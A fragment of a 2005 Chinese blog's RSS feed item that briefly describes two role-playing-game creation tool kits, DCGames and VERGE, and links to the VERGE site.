<P><FONT face=Arial>DCGames is a feature laden tool kit for creating the hottest CRPGs available. This system allows the user to create original Computer Role Playing games(CRPGs) without having to type a single line or archaic code. The system stresses maximum flexibility that allows each designer to customize the system to suit his or her own tastes.The system comes packaged with a complete set of scripts that can be changed and modified to create the best CRPGs currently available.</FONT></P>
<P><A href="http://www.verge-rpg.com/"><FONT face=Arial color=#003157>Verge</FONT></A></P>
<P><FONT face=Arial>VERGE is Vecnas Extraordinary Role-Playing Game Engine. Simply put, it is a tool for the creation of video games, without having to code the actual graphics/sound/memory librarys and engines yourself. It was initially made to create clones of the 16-bit Console Style RPG, such as Final Fantasy 4-6 (That'd be Final Fantasy 4 and 6 in america) on the SNES, and Phantasy Star 2-4 and the lunar games on Sega Genesis. However, it has since been proven that it can be used for creation of other genres of games</FONT>. </P><img src ="http://www.cnitblog.com/reene/aggbug/701.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/reene/" target="_blank">快乐着飞舞着</a> 2005-07-03 16:06 <a href="http://www.cnitblog.com/reene/articles/701.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>